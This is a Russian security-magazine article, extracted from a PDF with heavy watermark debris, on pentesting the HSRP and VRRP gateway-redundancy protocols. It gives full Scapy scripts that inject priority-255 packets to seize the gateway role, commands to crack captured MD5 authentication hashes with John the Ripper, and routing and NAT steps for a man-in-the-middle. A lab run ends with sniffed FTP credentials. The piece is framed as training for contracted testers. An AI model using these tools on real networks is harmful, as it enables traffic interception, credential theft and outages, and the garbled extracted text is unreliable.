Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
21.29 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

.c

 

 

 

.

 

 

c

 

 

 

 

 

p

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Magama Bazarov

Network Security Expert

necreas1ng@gmail.com

ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ

Сущес­ ­тву­ет множес­ ­тво способов­ повысить отказоус­ ­той ­ чивость и надежность­ в корпоратив­ ­ных сетях. Часто­ для это ­ го применя­ ­ются специаль­ ­ные протоко­ ­лы первого­ перехода­ FHRP. Из этой статьи ты узнаешь­ , как пентесте­ ­ры работают­

с FHRP во время­ атак на сеть.

 

Статья имеет­ ознакоми­

тель­

ный­

характер­ и пред ­

 

назначена­

для

специалис­

тов­

по безопасности­

,

 

проводя­

щих­

тестирова­

ние­

 

в

рамках­

контрак­

та­ .

 

Автор и

редакция­

не несут

 

ответствен­

ности­

 

за любой вред, причинен­

ный­

 

с примене­

нием­

 

изложен­ ной­

информации­ . Распростра­

нение­

 

вре ­

 

доносных­

программ­

, нарушение­

работы систем­

 

и нарушение­

тайны­

переписки­ преследу­

ются­

 

по закону.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗАЧЕМ НУЖЕН FHRP

FHRP (First Hop Redundancy Protocol) — это семейство­ протоко­ лов­ , обес ­

печивающих­ избыточ­ ­ность сетевого­ шлюза­ . Общая идея заключа­ ­ется в том, чтобы­ объеди­ ­нить несколь­ ­ко физических­ маршру­ ­тиза­торов в один логичес ­ кий с общим IP-адресом­ . Этот адрес виртуаль­ ­ного маршру­ ­тиза­тора будет назначать­ ­ся на интерфейс маршру­ ­тиза­тора с главенс­ ­тву­ющей ролью, а тот, в свою очередь­ , займет­ ­ся форвардин­ ­гом трафика­ . Самые популярные­ про ­ токолы­ класса­ FHRP — это HSRP и VRRP, о них мы сегодня­ и поговорим­ .

Теория протокола HSRP

Протокол­ HSRP (Hot Standby Router Protocol) — это один из протоко­ ­лов клас ­

са FHRP, позволя­ ющих­ организо­ вать­ систему­ отказоус­ той­ чивос­ ти­ шлюзов­ . Разработан­ инженера­ ми­ Cisco Systems и работает­ только­ на сетевом обо ­ рудовании­ Cisco. Протокол­ реализован­ поверх стека­ TCP/IP и использует­

в качестве­ трансля­ ­ции служеб­ ­ной информации­ протокол­ UDP на порте­ 1985. Суть конфигура­ ­ции HSRP заключа­ ­ется в том, чтобы­ объеди­ ­нить маршру­ ­

тизаторы­ в одну логическую­ группу­ HSRP-маршру­ тиза­ торов­ под специаль­ ным­ числовым­ идентифика­ тором­ . В самой группе­ HSRP образует­ ся­ логический­ маршру­ тиза­ тор­ , который получит виртуаль­ ный­ IP-адрес. А тот, в свою оче ­ редь, будет назначать­ ся­ как шлюз по умолчанию­ для конечных­ хостов­ .

Маршру­ ­тиза­торы, на которых функци­ ­они­рует HSRP, для обмена­ служеб­ ­ной информацией­ используют­ так называемые­ Hello-пакеты. С их помощью устройства­ общаются­ между­ собой, проводят­ выборы и сообщают­ друг другу­ о своем­ состоянии­ .

Дамп HSRP-трафика­

По умолчанию­ активный маршру­ тиза­ тор­ каждые­ три секунды­ рассыла­ ет­ Helloсообщение­ , которое звучит­ как «Парни­ , я еще в строю». Однако­ если в течение десяти секунд Standby-маршру­ тиза­ тор­ не получает­ ни одного­ Helloсообщения­ от Active-маршру­ тиза­ тора­ , то он посчита­ ет­ , что активный маршру­ ­ тизатор­ «упал», и возьмет­ на себя его роль, исходя­ из значений­ приори­ тета­ .

Версии протокола HSRP

У протоко­ ­ла HSRP есть две версии­ — HSRPv1 и HSRPv2. Они отличают­ ­ся сле ­ дующими­ параметрами­ :

количес­ ­тво возможных­ логических­ групп. В HSRPv1 их может быть до 255. У HSRPv2 количество­ групп может достигать­ 4096;

IP-адрес мультикас­ ­товой рассылки­ . HSRPv1 для трансля­ ­ции служеб­ ­ной информации­ использует­ IP-адрес 224.0.0.2, а HSRPv2 — 224.0.0.102;

виртуаль­ ­ный MAC-адрес. HSRPv1 в качестве­ виртуаль­ ­ного MAC-адреса­ использует­ 00:00:0C:07:AC:XX. У HSRPv2 виртуаль­ ­ный MAC-адрес 00: 00:0C:9F:FX:XX (где XX — это номер группы­ HSRP).

Сущности в домене HSRP

Врамках­ группы­ HSRP есть несколь­ ­ко сущностей­ :

HSRP Active Router — устройство­ , играющее­ роль виртуаль­ ­ного маршру­ ­ тизатора­ и обеспечива­ ­ющее форвардинг­ трафика­ из сетей источника­ до сетей назначения­ ;

HSRP Standby Router — устройство­ , играющее­ роль резервно­ ­го маршру­ ­ тизатора­ , которое ожидает­ отказа­ активного­ маршру­ ­тиза­тора. После­ падения основного­ Active-роутера­ Standby-роутер возьмет­ на себя гла ­ венству­ ­ющую роль и будет заниматься­ обязан­ ­ностя­ми Active-роутера­ ;

HSRP Group — группа­ устройств­ — членов­ одной HSRP-группы­ , обес ­ печивают­ работу и отказоус­ ­той­чивость логического­ маршру­ ­тиза­тора;

HSRP MAC Address — виртуаль­ ­ный MAC-адрес логического­ маршру­ ­тиза ­ тора в домене HSRP;

HSRP Virtual IP Address — это специаль­ ­ный виртуаль­ ­ный IP-адрес в группе­ HSRP. Данный­ IP-адрес будет шлюзом­ по умолчанию­ для конечных­ хостов­ , использует­ ­ся на самом логическом­ маршру­ ­тиза­торе.

Теория протокола VRRP

VRRP (Virtual Router Redundancy Protocol) — протокол­ , разработан­ ­ный в качестве­ более свобод­ ной­ альтер­ нативы­ протоко­ лу­ HSRP. Но посколь­ ку­ он основан­ на феноменах­ протоко­ ла­ HSRP, с его «открытостью­ и свободой­ » есть некоторые­ нюансы­ , так что полностью­ свобод­ ным­ его не назвать­ . VRRP почти­ ничем не отличает­ ся­ от HSRP, выполняет­ те же самые функции­ , и в его домене абсолют­ но­ те же сущности­ , только­ называются­ они иначе­ .

В случае­ HSRP объявле­ ­ния генерировал­ не только­ Active-роутер, но и Standby-роутер. В случае­ VRRP выполнять­ рассылку­ объявле­ ­ний будет только­ Master-маршру­ ­тиза­тор на зарезервирован­ ­ный групповой­ адрес 224.0.0.18. По умолчанию­ пакеты приветс­ ­твия VRRP рассыла­ ­ются каждую­ секунду­ .

Дамп VRRP-трафика­

Версии протокола VRRP

Упротоко­ ­ла две версии­ — VRRPv2 и VRRPv3.

У VRRPv3 есть поддер­ ­жка IPv6, VRRPv2 поддержи­ ­вает­ся только­ для сетей

IPv4.

У VRRPv3 отсутству­ ­ет поддер­ ­жка аутентифика­ ­ции, у VRRPv2 имеется­ целых три способа­ аутентифика­ ­ции.

VRRPv3 в качестве­ таймин­ ­гов использует­ сантисекун­ ­ды, VRRPv2 опериру­ ­ ет секундами­ .

Сущности в домене VRRP

• VRRP Master Router — это активный маршру­ тиза­ тор­ , отвечающий­ за передачу­ легитимного­ трафика­ в сети.

VRRP Backup Router — маршру­ ­тиза­тор, находящий­ ­ся в режиме ожидания­ . Как только­ текущий Master Router упадет­ , перехватит­ его роль и будет выполнять­ его функции­ .

VRRP MAC Address — виртуаль­ ­ный MAC-адрес в группе­ VRRP (00:00:5E: 01:XX). Вместо­ XX — номер группы­ VRRP.

VRRP VRID — идентифика­ ­тор группы­ VRRP, в рамках­ которой расположе­ ­ны физические­ маршру­ ­тиза­торы.

VRRP Virtual IP Address — специаль­ ­ный виртуаль­ ­ный IP-адрес в домене VRRP. Этот IP-адрес использует­ ­ся в качестве­ шлюза­ по умолчанию­

для конечных­ хостов­ .

Выбор главенствующего маршрутизатора

В рамках­ протоко­ лов­ FHRP выбор главенс­ тву­ ющей­ роли маршру­ тиза­ тора­ основыва­ ется­ на значении­ приори­ тета­ . По умолчанию­ в момент конфигура­ ­ ции на всех маршру­ тиза­ торах­ значение­ эквивален­ тно­ 100 единицам­ . Мак ­ симальное­ же значение­ приори­ тета­ лежит в диапазоне­ от 1 до 255 (для VRRP этот диапазон­ составля­ ет­ от 1 до 254).

Если­ админис­ ­тра­тор не позаботил­ ­ся о ручной­ конфигура­ ­ции значения­ приори­ ­тета на маршру­ ­тиза­торах, главным­ маршру­ ­тиза­тором станет­ тот, у которого­ наибольший­ IP-адрес. Инженер­ с помощью конфигура­ ­ции зна ­ чения приори­ ­тета сам решает­ , кто будет активным маршру­ ­тиза­тором, а кто — резервным­ .

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ

FHRP HIJACKING

Техника­ этой сетевой атаки­ заключа­ ется­ в том, чтобы­ навязать свое устрой ­ ство в качестве­ главного­ маршру­ тиза­ тора­ с помощью инъекции­ HSRPили VRRP-пакета с максималь­ ным­ значени­ ем­ приори­ тета­ . Успешная эксплу­ ­ атация­ приводит­ к MITM-атаке­ , в результате­ которой ты сможешь­ перехватить­

весь трафик­ внутри­ сети, провес­ ­ти редирект или вызвать­ DoS. Достаточ­ ­но собрать­ HSRPили VRRP-пакет с наивысшим­ значени­ ­ем приори­ ­ тета 255 и направить­ его в сторону­ локальной­ сети. Согласись­ , не слишком­ сложно­ .

Как будет ходить трафик­ до атаки­

Как будет ходить трафик­ после­ атаки­

Так как во время­ атаки­ на FHRP надо взаимо­ ­дей ­ ствовать­ с легитимными­ маршру­ ­тиза­тора­ми — шлюзами­ по умолчанию­ для конечных­ хостов­ , необходимо­ очень быстро­ выполнять­ все свои действия­ , начиная от инъекции­ и заканчивая­ организа­ ­цией форвардин­ ­га всего­ трафика­ на сто ­ роне твоей­ машины. Если будешь медлить­ во время­ проведе­ ­ния атаки­ , конечные­ хосты­ сло ­

вят DoS — твой заказчик­ такой сценарий­ не оце ­ нит.

Подготовка кастомной инъекции

Я написал инстру­ мен­ ты­ для атак на FHRP-протоко­ лы­ , добавив их в свой репозиторий­ GatewayBleeding. Всегда­ лучше­ писать собствен­ ные­ инстру­ мен­ ­ ты, так ты понимаешь­ весь процесс­ эксплу­ ата­ ции­ с нуля, что очень важно­ . Кроме­ того, это будет выделять тебя на фоне остальных­ :)

Чтобы­ ты понимал принцип­ эксплу­ ­ата­ции, я разберу­ весь програм­ ­мный код скриптов­ HSRPWN.py и VRRPWN.py.

Инстру­ мен­ ты­ написаны­ на Python версии­ 3.

HSRPWN.py

Для начала нам необходимо­ импортировать­ библиоте­ ­ку Scapy, а также­ модуль для работы с L2-протоко­ ­лами и протоко­ ­лом HSRP. Кроме­ того, под ­ ключим­ модуль argparse, чтобы­ сделать­ скрипт параметризиро­ ­ван­ным.

from scapy.all import *

from scapy.layers.l2 import *

from scapy.layers.hsrp import *

import argparse

В переменную­ HSRPMulticastAddr запишем значение­ IP-адреса­ мультикас­ ­ товой рассылки­ HSRPv1.

HSRPMulticastAddr = "224.0.0.2"

Объявля­ ем­ функцию­ take_arguments. Она будет обрабаты­ вать­ введен­ ные­ пользовате­ ­лем входящие­ параметры­ :

интерфейс­ , с которого­ будут отправлять­ ­ся пакеты (переменная­ interface);

номер­ группы­ HSRP (переменная­ group);

IP-адрес атакующе­ ­го (переменная­ attackerip);

виртуаль­ ­ный IP-адрес домена HSRP (переменная­ vip);

ключ для аутентифика­ ­ции (переменная­ auth).

Парсить­ введен­ ные­ параметры­ будет parser.parse_args(). Результат­ выполнения­ функции­ запишется­ в переменную­ args.

def take_arguments():

parser = argparse.ArgumentParser()

parser.add_argument("--interface", dest="interface", type=str,

required=True, help="Select your network interface")

parser.add_argument("--group", dest="group", type=int, required=

True, help="Choose HSRP group ID value")

parser.add_argument("--ip", dest="attackerip", type=str, required

=True, help="Specify your IP address")

parser.add_argument("--vip", dest="vip", type=str, required=True,

help="Specify HSRP Virtual IP address")

parser.add_argument("--auth", dest="auth", type=str, required=

True, help="Enter the auth HSRP passphrase")

args = parser.parse_args()

return args

В функции­ inject происхо­ ­дит сборка­ инъекции­ HSRP-пакета с наибольшим­ значени­ ем­ приори­ тета­ 255. Значения­ для переменных­ внутри­ слоев­ пакетов извлекают­ ся­ из указан­ ных­ значений­ аргумен­ тов­ пользовате­ лем­ args.*. При этом:

в переменной­ L2frame собирается­ Ethernet-фрейм;

в переменной­ L3packet собирается­ сетевой пакет с IP-адресом­ источни ­ ка и IP-адресом­ назначения­ . TTL будет равен 1. Если отправишь­ пакет не с этим TTL — маршру­ ­тиза­торы отбросят­ его;

в переменной­ UDP_layer создает­ ­ся UDP-слой с портом­ источника­ 1985 и портом­ назначения­ 1985;

в переменной­ evil_hsrp создает­ ­ся вредонос­ ­ный HSRP-пакет со зна ­ чением­ приори­ ­тета 255, номером группы­ HSRP, значени­ ­ем виртуаль­ ­ного IP-адреса­ и ключом­ аутентифика­ ­ции;

в переменной­ crafted собирается­ сам пакет с кадром­ , сетевым IPпакетом, слоем­ UDP и самим протоко­ ­лом HSRP.

def inject(interface, group, attackerip, vip, auth):

L2frame = Ether()

L3packet = IP(src=args.attackerip, dst=HSRPMulticastAddr, ttl=1)

UDP_layer = UDP(sport=1985, dport=1985)

evil_hsrp = HSRP(group=args.group, priority=255, virtualIP=args.

vip, auth=args.auth)

crafted = L2frame / L3packet / UDP_layer / evil_hsrp

sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

Далее­ с помощью метода sendp собранный­ пакет через каждые­ три секунды­ отправляет­ ся­ с указан­ ного­ пользовате­ лем­ интерфейса­ . Работу скрипта­ ни в коем случае­ нельзя­ прекращать­ : если он упадет­ , пакеты перестанут­ рас ­ сылаться­ , легитимные­ маршру­ тиза­ торы­ признают­ наше устройство­ «погиб ­ шим» и перестро­ ят­ свои роли в домене.

В конце­ скрипта­ вызываем­ функции­ take_arguments и inject.

args = take_arguments()

inject(args.interface, args.group, args.attackerip, args.vip, args.

auth)

VRRPWN.py

Здесь почти­ все то же самое, что и с HSRPWN.py, но имеются­ и некоторые­ отличия­ .

Импорти­ руем­ модуль для работы с протоко­ лом­ VRRP:

from scapy.layers.vrrp import *

В переменной­ VRRPMulticastAddr указыва­ ется­ IP-адрес мультикас­ товой­ рассылки­ 224.0.0.18:

VRRPMulticastAddr = "224.0.0.18"

Функция­ take_arguments будет обрабаты­ вать­ введен­ ­ные пользовате­ лем­ входящие­ параметры­ :

интерфейс­ , с которого­ будут отправлять­ ­ся пакеты (переменная­ interface);

номер­ группы­ HSRP (переменная­ group);

IP-адрес атакующе­ ­го (переменная­ attackerip);

виртуаль­ ­ный IP-адрес домена HSRP (переменная­ vip).

def take_arguments():

parser = argparse.ArgumentParser()

parser.add_argument("--interface", dest="interface", type=str,

required=True, help="Select your network interface")

parser.add_argument("--group", dest="group", type=int, required=

True, help="Choose VRRP group ID value")

parser.add_argument("--ip", dest="attackerip", type=str, required

=True, help="Specify your IP address")

parser.add_argument("--vip", dest="vip", type=str, required=True,

help="Specify VRRP Virtual IP address")

args = parser.parse_args()

return args

Что тут происхо­ дит­ :

В L2frame собирается­ Ethernet-фрейм.

В L3packet собирается­ IP-пакет с IP-адресом­ источника­ и IP-адресом­ назначения­ . TTL будет равен 255. Если отправишь­ пакет не с этим TTL — маршру­ ­тиза­торы отбросят­ его.

В evil_vrrp создает­ ­ся вредонос­ ­ный VRRP-пакет со значени­ ­ем приори­ ­ тета 255, номером группы­ VRRP и значени­ ­ем виртуаль­ ­ного IP-адреса­ .

В crafted собирается­ сам пакет с кадром­ , сетевым IP-пакетом и самим протоко­ ­лом VRRP.

def inject(interface, group, attackerip, vip):

L2frame = Ether()

L3packet = IP(src=args.attackerip, dst=VRRPMulticastAddr, ttl=255

)

evil_vrrp = VRRP(vrid=args.group, priority=255, addrlist=args.vip

)

crafted = L2frame / L3packet / evil_vrrp

sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

В данном­ скрипте­ нет слоя протоко­ лов­ тран ­ спортного­ уровня­ . VRRP работает­ исключитель­ но­ на сетевом уровне­ и не реализован­ поверх стека­ протоко­ лов­ TCP/IP.

В конце­ скрипта­ вызываем­ функции­ take_arguments и inject:

args = take_arguments()

inject(args.interface, args.group, args.attackerip, args.vip)

Виртуальная лаборатория

Чтобы­ показать эксплу­ ­ата­цию на практике­ , я подготовил­ небольшой­ лабора ­ торный­ стенд.

Взаимо­ дей­ ствие­ сети на логическом­ уровне­

IP-адресация­ стенда­

Здесь:

Dustup — это FTP-сервер­ ;

Kali выступа­ ет­ в качестве­ атакующей­ машины;

Radiant — клиент­ ская­ машина с Windows 10 LTSC;

SW2 и SW4 — коммутато­ ры­ Cisco vIOS;

R1 и R2 — маршру­ тиза­ торы­ Cisco vIOS.

Домен HSRP

Мы будем использовать­ версию­ HSRPv1.

Схема­ сети с HSRP

Домен VRRP

На этом стенде­ использует­ ся­ версия­ VRRPv2.

Схема­ сети с VRRP

Взлом MD5-аутентификации

Доступ­ к доменам FHRP может быть защищен аутентифика­ ­цией. В большинс­ ­ тве случаев­ использует­ ­ся MD5-аутентифика­ ­ция. Я покажу, как можно­ сбру ­ тить пароль, при этом получив хеш из дампа­ сетевого­ трафика­ .

Дамп HSRP-пакета с аутентифика­ цией­

Сохраня­ ем­ дамп трафика­ в файл hsrp_encrypted.pcap. Далее используем­ утилиту­ pcap2john и подаем­ ей на вход дамп трафика­ HSRP с хешами.

necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap

Хеши­ , извлечен­ ­ные из дампа­ HSRP-трафика­

Копиру­ ­ем хеши в отдельный­ файл hsrp_md5_hashes.txt и с помощью John The Ripper начинаем­ перебирать­ пароли, указав­ словарь­ через параметр --wordlist. JTR сам определит­ тип хеша, находящий­ ­ся в файле­ .

necreas1ng@Mercy:~$ john hsrp_md5_hashes.txt --wordlist=/usr/share/

wordlists/rockyou.txt

Взломан­ ный­ пароль от домена HSRP

Пароль­ от домена HSRP — admin. Теперь разберем­ такой же кейс с доменом

VRRP.

Дамп VRRP-пакета с аутентифика­ цией­

Сохраня­ ем­ дамп в файл vrrp_encrypted.pcap. Далее используем­ утилиту­ pcap2john и подаем­ ей на вход дамп трафика­ VRRP с хешами.

necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap

Хеши­ , извлечен­ ­ные из дампа­ VRRP-трафика­

Копиру­ ­ем хеши в отдельный­ файл vrrp_md5_hashes.txt и с помощью John The Ripper начинаем­ перебирать­ пароли, указав­ словарь­ через параметр --wordlist. Как и в прошлом­ случае­ , тип хеша определя­ ­ется автомати­ ­чес­ки.

necreas1ng@Mercy:~$ john vrrp_md5_hashes.txt --wordlist=/usr/share/

wordlists/rockyou.txt

Взломан­ ный­ пароль от домена VRRP

Пароль­ от VRRP-домена — cerberus.

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

 

 

e

 

 

p

df

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

 

 

 

e

 

 

 

 

p

df

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПЕНТЕСТИМ СИСТЕМЫ FHRP И ПЕРЕХВАТЫВАЕМ ТРАФИК В СЕТИ

АТАКА НА HSRP И ПЕРЕХВАТ ТРАФИКА

Необхо­ ­димо в первую­ очередь­ перевести­ сетевой интерфейс в неразборчи­ ­ вый режим и разрешить­ форвардинг­ на машине:

necreas1ng@Mercy:~$ sudo ifconfig eth0 promisc

necreas1ng@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

Запус­ каем­ скрипт HSRPWN.py, указыва­ ем­ интерфейс, IP-адрес атакующе­ го­ , виртуаль­ ­ный IP-адрес, номер группы­ и ключ аутентифика­ ­ции.

necreas1ng@Mercy:~$ sudo python3 HSRPWN.py --interface eth0 --group 1

--ip 10.1.1.2 --vip 10.1.1.254 --auth cisco

Дамп трафика­ во время­ HSRP-инъекции­

Конфигура­ ция­ HSRP на маршру­ тиза­ торах­ R1 и R2 до выполнения­ инъекции­ :

0

 

 

 

 

 

 

R1# show standby brief0

 

 

 

 

 

 

P indicates configured to preempt.0

 

 

 

 

|0

 

 

 

Interface

Grp

Pri P State

Active

Standby

Virtual

IP0

 

 

 

 

 

 

Gi0/0

1

150

Active

local

10.1.1.200

 

10.1.1.254

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

 

 

 

 

0

 

 

 

 

 

 

R2# show standby brief0

 

 

 

 

 

 

P indicates configured to preempt.0

 

 

 

 

|0

 

 

 

Interface

Grp

Pri P State

Active

Standby

Virtual

IP0

 

 

 

 

 

 

Gi0/0

1

100

Standby 10.1.1.100

local

 

10.1.1.254

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

 

 

 

 

А вот поведение­ конфигура­ ции­ HSRP на маршру­ тиза­ торах­ R1 и R2 после­ выполнения­ инъекции­ :

0

 

 

 

 

 

 

R1# show standby brief0

 

 

 

 

 

 

P indicates configured to preempt.0

 

 

 

 

|0

 

 

 

Interface

Grp

Pri P State

Active

Standby

Virtual

IP0

 

 

 

 

 

 

Gi0/0

1

150

Standby 10.1.1.2

local

 

10.1.1.254

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

 

 

 

 

0

 

 

 

 

 

 

R2# show standby brief0

 

 

 

 

 

 

P indicates configured to preempt.0

 

 

 

 

|0

 

 

 

Interface

Grp

Pri P State

Active

Standby

Virtual

IP0

 

 

 

 

 

 

Gi0/0

1

100

Listen

10.1.1.2

10.1.1.100

 

10.1.1.254

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

 

 

 

 

Как видишь, маршру­ тиза­ торы­ R1 и R2 изменили­ свои роли. Теперь они приз ­ нают хост с IP-адресом­ 10.1.1.2 как Active-роутер.

На этом этапе­ нужно­ создать­ вторич­ ный­ IP-адрес на интерфейсе­ eth0 с указани­ ем­ виртуаль­ ного­ IP-адреса­ группы­ HSRP:

necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.

255.0

Далее­ необходимо­ удалить­ все маршру­ ты­ на твоей­ машине и создать­ единс ­ твенный­ , который будет проходить­ через один из легитимных­ маршру­ тиза­ ­ торов. В качестве­ следующе­ го­ шлюза­ можно­ указать­ IP-адрес одного­ из мар ­ шрутиза­ торов­ R1 или R2. Даже несмотря­ на то, что мы у него «отжали­ » роль Active-роутера­ , он все равно­ сможет­ выполнять­ маршру­ тиза­ цию­ и направить­ трафик­ до хоста­ либо сети назначения­ . Пропишем­ все же маршрут­ через IPадрес маршру­ тиза­ тора­ R1 — 10.1.1.100:

necreas1ng@Mercy:~$

sudo del default gw

 

 

 

 

necreas1ng@Mercy:~$

sudo

route

del

-net 0.0.0.0

netmask

0.0.0.0

 

necreas1ng@Mercy:~$

sudo

route

add

-net

0.0.0.0

netmask

0.0.0.0

gw

10.1.1.100 eth0

 

 

 

 

 

 

 

 

Сейчас­ ты видишь только­ исходящий­ трафик­ . Было бы неплохо­ получить так ­ же и входящий­ . Небольшое­ правило­ для NAT решит эту задачу.

necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j

MASQUERADE

После­ атаки­ я попробую­ с машины под именем­ Radiant подклю­ чить­ ся­ к FTPсерверу­ под именем­ Dustup. Посмотрим­ , увенчалась­ ли атака­ успехом­ .

C:\Users\radiant>ftp 172.20.20.50

Дамп перехвачен­ ного­ FTP-трафика­ при атаке­ на HSRP

В конечном­ счете­ мы смогли­ перехватить­ легитимный­ трафик­ . Даже добыли креды­ от FTP-сервера­ mercy:i_dont_trust_you.

В этом кейсе­ ты перехватыва­ ешь­ абсолют­ но­ весь трафик­ внутри­ сети, а подклю­ чение­ к FTP-сер ­ веру будет служить­ примером­ , чтобы­ показать импакт от атаки­ .

АТАКА НА VRRP И ПЕРЕХВАТ ТРАФИКА

Запус­ ­каем скрипт VRRPWN.py:

necreas1ng@Mercy:~$

sudo python3 VRRPWN.py --interface eth0 --group 1

--ip 10.1.1.2 --vip

10.1.1.254

 

 

 

 

Ты можешь заметить, что только­

10.1.1.2 рассыла­

ет­

объявле­

ния­ .

Это говорит о том, что мы стали­ Master-роутером­ .

 

 

 

Дамп во время­ VRRP-инъекции­

Вот поведение­ VRRP на маршру­ тиза­ торах­ R1 и R2 до инъекции­ :

0

 

 

 

 

 

 

R1# show vrrp brief0

 

 

 

 

 

Interface

Grp

Pri Time

Own Pre

State

Master addr

Group

addr0

 

 

 

 

 

 

Gi0/0

1

150 3414

Y

Master

10.1.1.100

 

10.1.1.254

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

 

 

 

 

0

 

 

 

 

 

 

R2# show vrrp brief0

 

 

 

 

 

Interface

Grp

Pri Time

Own Pre

State

Master addr

Group

addr0

 

 

 

 

 

 

Gi0/0

1

100 3609

Y

Backup

10.1.1.100

 

10.1.1.254

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

 

 

 

 

А вот поведение­ VRRP на маршру­ тиза­ торах­ R1 и R2 после­ инъекции­ :

0

 

 

 

 

 

 

 

 

 

R1# show vrrp brief0

 

 

 

 

 

 

 

 

Interface

Grp

Pri

Time

Own

Pre State

Master addr

Group

addr0

 

 

 

 

 

 

 

 

 

Gi0/0

1

150

3414

 

Y

Backup

 

10.1.1.2

 

10.1.1.254

 

 

 

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

R2# show vrrp brief0

 

 

 

 

 

 

 

 

Interface

Grp

Pri

Time

Own

Pre State

Master addr

Group

addr0

 

 

 

 

 

 

 

 

 

Gi0/0

1

100 3609

 

Y

Backup

10.1.1.2

 

10.1.1.254

 

 

 

 

 

 

 

 

 

0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

